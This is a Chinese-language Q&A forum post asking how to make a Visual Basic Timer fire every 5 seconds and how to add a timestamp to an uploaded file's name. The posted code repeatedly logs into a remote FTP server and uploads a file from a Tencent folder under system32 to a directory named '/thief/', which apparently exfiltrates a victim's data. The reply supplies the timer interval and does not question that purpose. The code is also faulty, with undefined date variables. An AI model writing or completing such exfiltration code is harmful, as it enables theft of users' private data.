Question

一个很简单的vb问题！有关timer循环

我目前有一段代码，想利用timer让这段代码每5秒执行一次，怎么办啊？顺便帮我看看这段代码有什么错误。
代码如下：
private Sub Timer2_Timer()
Inet1.Protocol = icFTP
Inet1.RemoteHost = "**.**.**.**" '服务器地址
Inet1.RemotePort = 21 'FTP端口
Inet1.UserName = "***" '用户名
Inet1.Password = "*****" '密码

Static p As Integer
p = p + 1
Print "开始"
'上传文件:
Inet1.Execute "", "PUT C:\windows\system32\tencent\important.txt /thief/important" + yyyy + "年-" + mm + "月-" + dd + "日 " + hh + "时:" + mm + "分.txt" ‘我想在这里用时间重命名important.txt文件，怎么办？
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
Print "完成"
End Sub
请问上传了以后怎么将important.txt文件重命名？

Answer 1

在加载窗体的代码里面加上一句
Private Sub Form_Load()
Timer2.Interval = 5000
End Sub
就可以了